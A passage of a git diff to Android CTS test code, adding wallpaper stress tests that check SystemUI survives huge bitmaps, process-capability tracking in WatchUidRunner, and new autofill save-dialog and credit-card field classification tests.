+        Canvas canvas = new Canvas(highRatioWallpaper);
+        canvas.drawColor(Color.RED);
+
+        try {
+            mWallpaperManager.setBitmap(highRatioWallpaper);
+
+            Assert.assertTrue(mCountDownLatch.await(5, TimeUnit.SECONDS));
+            Assert.assertTrue(sysuiPid.contentEquals(getSysuiPid()));
+        } finally {
+            highRatioWallpaper.recycle();
+        }
+    }
+
+    @Test
+    public void highResolutionWallpaper() throws Exception {
+        final String sysuiPid = getSysuiPid();
+        Bitmap highResolutionWallpaper = Bitmap.createBitmap(10000, 10000, Bitmap.Config.ARGB_8888);
+        Canvas canvas = new Canvas(highResolutionWallpaper);
+        canvas.drawColor(Color.BLUE);
+
+        try {
+            mWallpaperManager.setBitmap(highResolutionWallpaper);
+
+            Assert.assertTrue(mCountDownLatch.await(5, TimeUnit.SECONDS));
+            Assert.assertTrue(sysuiPid.contentEquals(getSysuiPid()));
+        } finally {
+            highResolutionWallpaper.recycle();
+        }
+    }
+
+    private static String getSysuiPid() {
+        final String sysuiPkgName = "com.android.systemui";
+        final String sysuiPid = "pidof " + sysuiPkgName;
+        return SystemUtil.runShellCommand(sysuiPid);
+    }
+
     private void assertDesiredDimension(Point suggestedSize, Point expectedSize) {
         mWallpaperManager.suggestDesiredDimensions(suggestedSize.x, suggestedSize.y);
         Point actualSize = new Point(mWallpaperManager.getDesiredMinimumWidth(),
@@ -422,31 +483,22 @@
         // • System colors are known
         // • Lock colors are known
         final int expectedEvents = 5;
-        CountDownLatch latch = new CountDownLatch(expectedEvents);
+        mCountDownLatch = new CountDownLatch(expectedEvents);
         if (DEBUG) {
-            Log.d("WP", "Started latch expecting: " + latch.getCount());
+            Log.d(TAG, "Started latch expecting: " + mCountDownLatch.getCount());
         }
-        BroadcastReceiver receiver = new BroadcastReceiver() {
-            @Override
-            public void onReceive(Context context, Intent intent) {
-                latch.countDown();
-                if (DEBUG) {
-                    Log.d("WP", "broadcast state count down: " + latch.getCount());
-                }
-            }
-        };
+
         WallpaperManager.OnColorsChangedListener callback = (colors, which) -> {
             if ((which & WallpaperManager.FLAG_LOCK) != 0) {
-                latch.countDown();
+                mCountDownLatch.countDown();
             }
             if ((which & WallpaperManager.FLAG_SYSTEM) != 0) {
-                latch.countDown();
+                mCountDownLatch.countDown();
             }
             if (DEBUG) {
-                Log.d("WP", "color state count down: " + which + " - " + colors);
+                Log.d(TAG, "color state count down: " + which + " - " + colors);
             }
         };
-        mContext.registerReceiver(receiver, new IntentFilter(Intent.ACTION_WALLPAPER_CHANGED));
         mWallpaperManager.addOnColorsChangedListener(callback, mHandler);
 
         try {
@@ -454,14 +506,11 @@
 
             // Wait for up to 10 sec since this is an async call.
             // Will pass as soon as the expected callbacks are executed.
-            latch.await(10, TimeUnit.SECONDS);
-            if (latch.getCount() != 0) {
-                Log.w(TAG, "Did not receive all events! This is probably a bug.");
-            }
+            Assert.assertTrue(mCountDownLatch.await(10, TimeUnit.SECONDS));
+            Assert.assertEquals(0, mCountDownLatch.getCount());
         } catch (InterruptedException | IOException e) {
             throw new RuntimeException("Can't ensure a clean state.");
         } finally {
-            mContext.unregisterReceiver(receiver);
             mWallpaperManager.removeOnColorsChangedListener(callback);
             bmp.recycle();
         }
@@ -477,4 +526,4 @@
         public void onColorsChanged(WallpaperColors colors, int which) {
         }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
index 01235ae..80c3225 100644
--- a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
@@ -215,6 +215,6 @@
             throw new IllegalStateException("Unexpected importance after killing process: "
                     + importance);
         }
-        mUidWatcher.waitFor(WatchUidRunner.CMD_GONE, null, timeout);
+        mUidWatcher.waitFor(WatchUidRunner.CMD_GONE, timeout);
     }
 }
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/WatchUidRunner.java b/tests/app/src/android/app/cts/android/app/cts/tools/WatchUidRunner.java
index e6e844f..8e631cb 100644
--- a/tests/app/src/android/app/cts/android/app/cts/tools/WatchUidRunner.java
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/WatchUidRunner.java
@@ -47,6 +47,7 @@
     public static final int CMD_UNCACHED = 3;
     public static final int CMD_CACHED = 4;
     public static final int CMD_GONE = 5;
+    public static final int CMD_CAPABILITY = 6;
 
     public static final String STATE_PERSISTENT = "PER";
     public static final String STATE_PERSISTENT_UI = "PERU";
@@ -72,7 +73,7 @@
     public static final String STATE_NONEXISTENT = "NONE";
 
     static final String[] COMMAND_TO_STRING = new String[] {
-            "procstate", "active", "idle", "uncached", "cached", "gone"
+            "procstate", "active", "idle", "uncached", "cached", "gone", "capability"
     };
 
     final Instrumentation mInstrumentation;
@@ -133,7 +134,7 @@
 
     public void expect(int cmd, String procState, long timeout) {
         long waitUntil = SystemClock.uptimeMillis() + timeout;
-        String[] line = waitForNextLine(waitUntil, cmd, procState);
+        String[] line = waitForNextLine(waitUntil, cmd, procState, 0);
         if (!COMMAND_TO_STRING[cmd].equals(line[1])) {
             String msg = "Expected cmd " + COMMAND_TO_STRING[cmd]
                     + " uid " + mUid + " but next report was " + Arrays.toString(line);
@@ -151,26 +152,61 @@
         Log.d(TAG, "Got expected: " + Arrays.toString(line));
     }
 
+    public void waitFor(int cmd) {
+        waitFor(cmd, null, null, mDefaultWaitTime);
+    }
+
+    public void waitFor(int cmd, long timeout) {
+        waitFor(cmd, null, null, timeout);
+    }
+
     public void waitFor(int cmd, String procState) {
-        waitFor(cmd, procState, mDefaultWaitTime);
+        waitFor(cmd, procState, null, mDefaultWaitTime);
+    }
+
+    public void waitFor(int cmd, String procState, Integer capability) {
+        waitFor(cmd, procState, capability, mDefaultWaitTime);
     }
 
     public void waitFor(int cmd, String procState, long timeout) {
+        waitFor(cmd, procState, null, timeout);
+    }
+
+    public void waitFor(int cmd, String procState, Integer capability, long timeout) {
         long waitUntil = SystemClock.uptimeMillis() + timeout;
         while (true) {
-            String[] line = waitForNextLine(waitUntil, cmd, procState);
+            String[] line = waitForNextLine(waitUntil, cmd, procState, capability);
             if (COMMAND_TO_STRING[cmd].equals(line[1])) {
-                if (procState == null) {
+                if (procState == null && capability == null) {
                     Log.d(TAG, "Waited for: " + Arrays.toString(line));
                     return;
                 }
-                if (line.length >= 3 && procState.equals(line[2])) {
-                    Log.d(TAG, "Waited for: " + Arrays.toString(line));
-                    return;
+                if (cmd == CMD_PROCSTATE) {
+                    if (procState != null && capability != null) {
+                        if (procState.equals(line[2]) && capability.toString().equals(line[6])) {
+                            Log.d(TAG, "Waited for: " + Arrays.toString(line));
+                            return;
+                        }
+                    } else if (procState != null) {
+                        if (procState.equals(line[2])) {
+                            Log.d(TAG, "Waited for: " + Arrays.toString(line));
+                            return;
+                        }
+                    } else if (capability != null) {
+                        if (capability.toString().equals(line[6])) {
+                            Log.d(TAG, "Waited for: " + Arrays.toString(line));
+                            return;
+                        }
+                    }
                 } else {
-                    Log.d(TAG, "Skipping because procstate not " + procState + ": "
-                            + Arrays.toString(line));
+                    if (procState != null
+                            && procState.equals(line[2])) {
+                        Log.d(TAG, "Waited for: " + Arrays.toString(line));
+                        return;
+                    }
                 }
+                Log.d(TAG, "Skipping because procstate not " + procState + ": "
+                        + Arrays.toString(line));
             } else {
                 Log.d(TAG, "Skipping because not " + COMMAND_TO_STRING[cmd] + ": "
                         + Arrays.toString(line));
@@ -191,14 +227,15 @@
         }
     }
 
-    String[] waitForNextLine(long waitUntil, int cmd, String procState) {
+    String[] waitForNextLine(long waitUntil, int cmd, String procState, Integer capability) {
         synchronized (mPendingLines) {
             while (true) {
                 while (mPendingLines.size() == 0) {
                     long now = SystemClock.uptimeMillis();
                     if (now >= waitUntil) {
-                        String msg = "Timed out waiting for next line: "
-                                + "cmd=" + COMMAND_TO_STRING[cmd] + " procState=" + procState;
+                        String msg = "Timed out waiting for next line: uid=" + mUidStr
+                                + " cmd=" + COMMAND_TO_STRING[cmd] + " procState=" + procState
+                                + " capability=" + capability;
                         Log.d(TAG, msg);
                         throw new IllegalStateException(msg);
                     }
diff --git a/tests/apppredictionservice/AndroidTest.xml b/tests/apppredictionservice/AndroidTest.xml
index 8166a4c..5a689be 100644
--- a/tests/apppredictionservice/AndroidTest.xml
+++ b/tests/apppredictionservice/AndroidTest.xml
@@ -18,6 +18,7 @@
   <option name="config-descriptor:metadata" key="component" value="framework" />
   <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
   <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+  <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
   <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
     <option name="cleanup-apks" value="true" />
     <option name="test-file-name" value="CtsAppPredictionServiceTestCases.apk" />
diff --git a/tests/aslr/AndroidTest.xml b/tests/aslr/AndroidTest.xml
index fbd8cd1..dd2b35d 100644
--- a/tests/aslr/AndroidTest.xml
+++ b/tests/aslr/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="security" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
         <option name="push" value="CtsAslrMallocTestCases->/data/local/tmp/CtsAslrMallocTestCases" />
diff --git a/tests/aslr/OWNERS b/tests/aslr/OWNERS
new file mode 100644
index 0000000..94522e3
--- /dev/null
+++ b/tests/aslr/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 36824
+include /tests/tests/security/OWNERS
diff --git a/tests/attentionservice/OWNERS b/tests/attentionservice/OWNERS
new file mode 100644
index 0000000..dcfd7dd
--- /dev/null
+++ b/tests/attentionservice/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 557553
+aarli@google.com
+asalo@google.com
+eejiang@google.com
+payamp@google.com
diff --git a/tests/autofillservice/AndroidManifest.xml b/tests/autofillservice/AndroidManifest.xml
index fe21919..5afe073 100644
--- a/tests/autofillservice/AndroidManifest.xml
+++ b/tests/autofillservice/AndroidManifest.xml
@@ -123,6 +123,8 @@
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
+        <activity android:name=".SimpleAfterLoginActivity" />
+        <activity android:name=".SimpleBeforeLoginActivity" />
 
         <receiver android:name=".SelfDestructReceiver"
             android:exported="true"
diff --git a/tests/autofillservice/OWNERS b/tests/autofillservice/OWNERS
index eac063b..18f17f3 100644
--- a/tests/autofillservice/OWNERS
+++ b/tests/autofillservice/OWNERS
@@ -1,4 +1,4 @@
 # Bug component: 351486
-felipeal@google.com
+adamhe@google.com
 svetoslavganov@google.com
-adamhe@google.com
\ No newline at end of file
+felipeal@google.com
diff --git a/tests/autofillservice/res/layout/login_with_strings_activity.xml b/tests/autofillservice/res/layout/login_with_strings_activity.xml
index 972f53f..0837129 100644
--- a/tests/autofillservice/res/layout/login_with_strings_activity.xml
+++ b/tests/autofillservice/res/layout/login_with_strings_activity.xml
@@ -38,7 +38,8 @@
         <EditText
             android:id="@+id/username"
             android:layout_width="match_parent"
-            android:layout_height="wrap_content" />
+            android:layout_height="wrap_content"
+            android:hint="@string/username_hint" />
     </LinearLayout>
 
     <LinearLayout
@@ -56,7 +57,8 @@
             android:id="@+id/password"
             android:layout_width="match_parent"
             android:layout_height="wrap_content"
-            android:inputType="textPassword"/>
+            android:inputType="textPassword"
+            android:hint="@string/password_hint" />
     </LinearLayout>
 
     <LinearLayout
diff --git a/tests/autofillservice/res/layout/simple_after_login_activity.xml b/tests/autofillservice/res/layout/simple_after_login_activity.xml
new file mode 100644
index 0000000..1752af5
--- /dev/null
+++ b/tests/autofillservice/res/layout/simple_after_login_activity.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="wrap_content"
+    android:layout_height="match_parent"
+    android:orientation="vertical" >
+
+    <TextView
+        android:id="@+id/after_login"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="Finished login activity!" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/simple_before_login_activity.xml b/tests/autofillservice/res/layout/simple_before_login_activity.xml
new file mode 100644
index 0000000..79ba1f7
--- /dev/null
+++ b/tests/autofillservice/res/layout/simple_before_login_activity.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="wrap_content"
+    android:layout_height="match_parent"
+    android:orientation="vertical" >
+
+    <TextView
+        android:id="@+id/before_login"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="Launch login activity!" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/values/strings.xml b/tests/autofillservice/res/values/strings.xml
index 785c7a5..54ce11f 100644
--- a/tests/autofillservice/res/values/strings.xml
+++ b/tests/autofillservice/res/values/strings.xml
@@ -29,4 +29,7 @@
     <string name="username_string">Username</string>
     <string name="password_string">Password</string>
 
+    <string name="username_hint">Hint for username</string>
+    <string name="password_hint">Hint for password</string>
+
 </resources>
\ No newline at end of file
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillSaveDialogTest.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillSaveDialogTest.java
new file mode 100644
index 0000000..2c5dc0c
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillSaveDialogTest.java
@@ -0,0 +1,121 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
+
+import android.content.Context;
+import android.content.Intent;
+import android.view.View;
+
+import org.junit.Test;
+
+/**
+ * Tests whether autofill save dialog is shown as expected.
+ */
+public class AutofillSaveDialogTest extends AutoFillServiceTestCase.ManualActivityLaunch {
+
+    @Test
+    public void testShowSaveUiWhenLaunchActivityWithFlagClearTopAndSingleTop() throws Exception {
+        // Set service.
+        enableService();
+
+        // Start SimpleBeforeLoginActivity before login activity.
+        startActivityWithFlag(mContext, SimpleBeforeLoginActivity.class,
+                Intent.FLAG_ACTIVITY_NEW_TASK);
+        mUiBot.assertShownByRelativeId(SimpleBeforeLoginActivity.ID_BEFORE_LOGIN);
+
+        // Start LoginActivity.
+        startActivityWithFlag(SimpleBeforeLoginActivity.getCurrentActivity(), LoginActivity.class,
+                /* flags= */ 0);
+        mUiBot.assertShownByRelativeId(LoginActivity.ID_USERNAME_CONTAINER);
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, ID_USERNAME)
+                .build());
+
+        // Trigger autofill on username.
+        LoginActivity loginActivity = LoginActivity.getCurrentActivity();
+        loginActivity.onUsername(View::requestFocus);
+
+        // Wait for fill request to be processed.
+        sReplier.getNextFillRequest();
+
+        // Set data.
+        loginActivity.onUsername((v) -> v.setText("test"));
+
+        // Start SimpleAfterLoginActivity after login activity.
+        startActivityWithFlag(loginActivity, SimpleAfterLoginActivity.class, /* flags= */ 0);
+        mUiBot.assertShownByRelativeId(SimpleAfterLoginActivity.ID_AFTER_LOGIN);
+
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_USERNAME);
+
+        // Restart SimpleBeforeLoginActivity with CLEAR_TOP and SINGLE_TOP.
+        startActivityWithFlag(SimpleAfterLoginActivity.getCurrentActivity(),
+                SimpleBeforeLoginActivity.class,
+                Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+        mUiBot.assertShownByRelativeId(SimpleBeforeLoginActivity.ID_BEFORE_LOGIN);
+
+        // Verify save ui dialog.
+        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_USERNAME);
+    }
+
+    @Test
+    public void testShowSaveUiWhenLaunchActivityWithFlagClearTaskAndNewTask() throws Exception {
+        // Set service.
+        enableService();
+
+        // Start SimpleBeforeLoginActivity before login activity.
+        startActivityWithFlag(mContext, SimpleBeforeLoginActivity.class,
+                Intent.FLAG_ACTIVITY_NEW_TASK);
+        mUiBot.assertShownByRelativeId(SimpleBeforeLoginActivity.ID_BEFORE_LOGIN);
+
+        // Start LoginActivity.
+        startActivityWithFlag(SimpleBeforeLoginActivity.getCurrentActivity(), LoginActivity.class,
+                /* flags= */ 0);
+        mUiBot.assertShownByRelativeId(LoginActivity.ID_USERNAME_CONTAINER);
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, ID_USERNAME)
+                .build());
+
+        // Trigger autofill on username.
+        LoginActivity loginActivity = LoginActivity.getCurrentActivity();
+        loginActivity.onUsername(View::requestFocus);
+
+        // Wait for fill request to be processed.
+        sReplier.getNextFillRequest();
+
+        // Set data.
+        loginActivity.onUsername((v) -> v.setText("test"));
+
+        // Start SimpleAfterLoginActivity with CLEAR_TASK and NEW_TASK after login activity.
+        startActivityWithFlag(loginActivity, SimpleAfterLoginActivity.class,
+                Intent.FLAG_ACTIVITY_CLEAR_TASK | Intent.FLAG_ACTIVITY_NEW_TASK);
+        mUiBot.assertShownByRelativeId(SimpleAfterLoginActivity.ID_AFTER_LOGIN);
+
+        // Verify save ui dialog.
+        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_USERNAME);
+    }
+
+    private void startActivityWithFlag(Context context, Class<?> clazz, int flags) {
+        final Intent intent = new Intent(context, clazz);
+        intent.setFlags(flags);
+        context.startActivity(intent);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
index 4aa0858..5446b30 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
@@ -303,10 +303,7 @@
         startAutoFill(mSpinner);
 
         // Autofill it.
-        mUiBot.selectDataset("dataset");
-
-        // TODO(b/137856201): Fix race condition in getSelectedItemPosition().
-        Thread.sleep(1000);
+        mUiBot.selectDatasetSync("dataset");
 
         if (expectAutoFill) {
             // Check the results.
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java b/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
index 477d6d8..ab56c7f 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
@@ -82,6 +82,7 @@
     private final String[] mIgnoredIds;
     private final int mNegativeActionStyle;
     private final IntentSender mNegativeActionListener;
+    private final int mPositiveActionStyle;
     private final int mSaveInfoFlags;
     private final int mFillResponseFlags;
     private final AutofillId mSaveTriggerId;
@@ -111,6 +112,7 @@
         mIgnoredIds = builder.mIgnoredIds;
         mNegativeActionStyle = builder.mNegativeActionStyle;
         mNegativeActionListener = builder.mNegativeActionListener;
+        mPositiveActionStyle = builder.mPositiveActionStyle;
         mSaveInfoFlags = builder.mSaveInfoFlags;
         mFillResponseFlags = builder.mFillResponseFlags;
         mSaveTriggerId = builder.mSaveTriggerId;
@@ -194,6 +196,9 @@
             if (mNegativeActionListener != null) {
                 saveInfoBuilder.setNegativeAction(mNegativeActionStyle, mNegativeActionListener);
             }
+
+            saveInfoBuilder.setPositiveAction(mPositiveActionStyle);
+
             if (mSaveTriggerId != null) {
                 saveInfoBuilder.setTriggerId(mSaveTriggerId);
             }
@@ -312,6 +317,7 @@
         private String[] mIgnoredIds;
         private int mNegativeActionStyle;
         private IntentSender mNegativeActionListener;
+        private int mPositiveActionStyle;
         private int mSaveInfoFlags;
         private int mFillResponseFlags;
         private AutofillId mSaveTriggerId;
@@ -415,6 +421,14 @@
             return this;
         }
 
+        /**
+         * Sets the positive action spec.
+         */
+        public Builder setPositiveAction(int style) {
+            mPositiveActionStyle = style;
+            return this;
+        }
+
         public CannedFillResponse build() {
             return new CannedFillResponse(this);
         }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java b/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
index 86a8c7d..10df1cd 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
@@ -25,6 +25,8 @@
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
 
+import static org.junit.Assume.assumeTrue;
+
 import android.autofillservice.cts.CannedFillResponse.CannedDataset;
 import android.content.IntentSender;
 import android.os.Process;
@@ -172,12 +174,13 @@
 
     @Test
     public void testFilter_usingKeyboard() throws Exception {
+        final MockImeSession mockImeSession = sMockImeSessionRule.getMockImeSession();
+        assumeTrue("MockIME not available", mockImeSession != null);
+
         final String aa = "Two A's";
         final String ab = "A and B";
         final String b = "Only B";
 
-        final MockImeSession mockImeSession = sMockImeSessionRule.getMockImeSession();
-
         enableService();
 
         // Set expectations.
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java b/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
index ff25596..99debab 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
@@ -28,6 +28,7 @@
 import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_USER_DATA_SIZE;
 import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_VALUE_LENGTH;
 import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MIN_VALUE_LENGTH;
+import static android.service.autofill.AutofillFieldClassificationService.REQUIRED_ALGORITHM_CREDIT_CARD;
 import static android.service.autofill.AutofillFieldClassificationService.REQUIRED_ALGORITHM_EDIT_DISTANCE;
 import static android.service.autofill.AutofillFieldClassificationService.REQUIRED_ALGORITHM_EXACT_MATCH;
 
@@ -80,12 +81,17 @@
             new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MAX_CATEGORY_COUNT, "42");
 
     private AutofillManager mAfm;
-    private Bundle mLast4Bundle = new Bundle();
+    private final Bundle mLast4Bundle = new Bundle();
+    private final Bundle mCreditCardBundle = new Bundle();
 
     @Override
     protected void postActivityLaunched() {
         mAfm = mActivity.getAutofillManager();
-        mLast4Bundle.putInt("suffix", 4);
+        mLast4Bundle.putInt("MATCH_SUFFIX", 4);
+
+        mCreditCardBundle.putInt("REQUIRED_ARG_MIN_CC_LENGTH", 13);
+        mCreditCardBundle.putInt("REQUIRED_ARG_MAX_CC_LENGTH", 19);
+        mCreditCardBundle.putInt("OPTIONAL_ARG_SUFFIX_LENGTH", 4);
     }
 
     @Test
@@ -140,6 +146,7 @@
         assertThat(availableAlgorithms).isNotNull();
         assertThat(availableAlgorithms.contains(REQUIRED_ALGORITHM_EDIT_DISTANCE)).isTrue();
         assertThat(availableAlgorithms.contains(REQUIRED_ALGORITHM_EXACT_MATCH)).isTrue();
+        assertThat(availableAlgorithms.contains(REQUIRED_ALGORITHM_CREDIT_CARD)).isTrue();
     }
 
     @Test
@@ -243,6 +250,43 @@
     }
 
     @Test
+    public void testHit_CreditCardAlgorithm() throws Exception {
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData
+                .Builder("id", "1122334455667788", "card")
+                .setFieldClassificationAlgorithmForCategory("card",
+                        REQUIRED_ALGORITHM_CREDIT_CARD, mCreditCardBundle)
+                .build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field = mActivity.getCell(1, 1);
+        final AtomicReference<AutofillId> fieldId = new AtomicReference<>();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(ID_L1C1)
+                .setVisitor((contexts, builder) -> fieldId
+                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "7788");
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForFieldsClassification(events.get(0), fieldId.get(), "card", 1);
+    }
+
+    @Test
     public void testHit_useDefaultAlgorithm() throws Exception {
         enableService();
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java b/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java
index 6e0914d..238ab45 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java
@@ -26,6 +26,7 @@
 import static android.autofillservice.cts.Helper.assertFillEventForAuthenticationSelected;
 import static android.autofillservice.cts.Helper.assertFillEventForDatasetAuthenticationSelected;
 import static android.autofillservice.cts.Helper.assertFillEventForDatasetSelected;
+import static android.autofillservice.cts.Helper.assertFillEventForDatasetShown;
 import static android.autofillservice.cts.Helper.assertFillEventForSaveShown;
 import static android.autofillservice.cts.Helper.assertNoDeprecatedClientState;
 import static android.autofillservice.cts.Helper.findAutofillIdByResourceId;
@@ -104,8 +105,9 @@
         mActivity.assertAutoFilled();
 
         // Verify fill selection
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        assertFillEventForDatasetAuthenticationSelected(events.get(0), "name",
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+        assertFillEventForDatasetShown(events.get(0), "clientStateKey", "clientStateValue");
+        assertFillEventForDatasetAuthenticationSelected(events.get(1), "name",
                 "clientStateKey", "clientStateValue");
     }
 
@@ -141,11 +143,13 @@
         mUiBot.assertDatasets("dataset");
 
         // Verify fill selection
-        final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(1);
+        final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(3);
         assertDeprecatedClientState(selection, "clientStateKey", "clientStateValue");
         List<Event> events = selection.getEvents();
-        assertFillEventForAuthenticationSelected(events.get(0), NULL_DATASET_ID,
+        assertFillEventForDatasetShown(events.get(0), "clientStateKey", "clientStateValue");
+        assertFillEventForAuthenticationSelected(events.get(1), NULL_DATASET_ID,
                 "clientStateKey", "clientStateValue");
+        assertFillEventForDatasetShown(events.get(2), "clientStateKey", "clientStateValue");
     }
 
     @Test
@@ -174,10 +178,11 @@
 
         {
             // Verify fill selection
-            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(1);
+            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
             assertDeprecatedClientState(selection, "clientStateKey", "Value1");
             final List<Event> events = selection.getEvents();
-            assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID,
+            assertFillEventForDatasetShown(events.get(0), "clientStateKey", "Value1");
+            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID,
                     "clientStateKey", "Value1");
         }
 
@@ -210,10 +215,11 @@
 
         {
             // Verify fill selection
-            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(1);
+            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
             assertDeprecatedClientState(selection, "clientStateKey", "Value2");
             final List<Event> events = selection.getEvents();
-            assertFillEventForDatasetSelected(events.get(0), "name3",
+            assertFillEventForDatasetShown(events.get(0), "clientStateKey", "Value2");
+            assertFillEventForDatasetSelected(events.get(1), "name3",
                     "clientStateKey", "Value2");
         }
 
@@ -223,13 +229,15 @@
 
         {
             // Verify fill selection
-            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
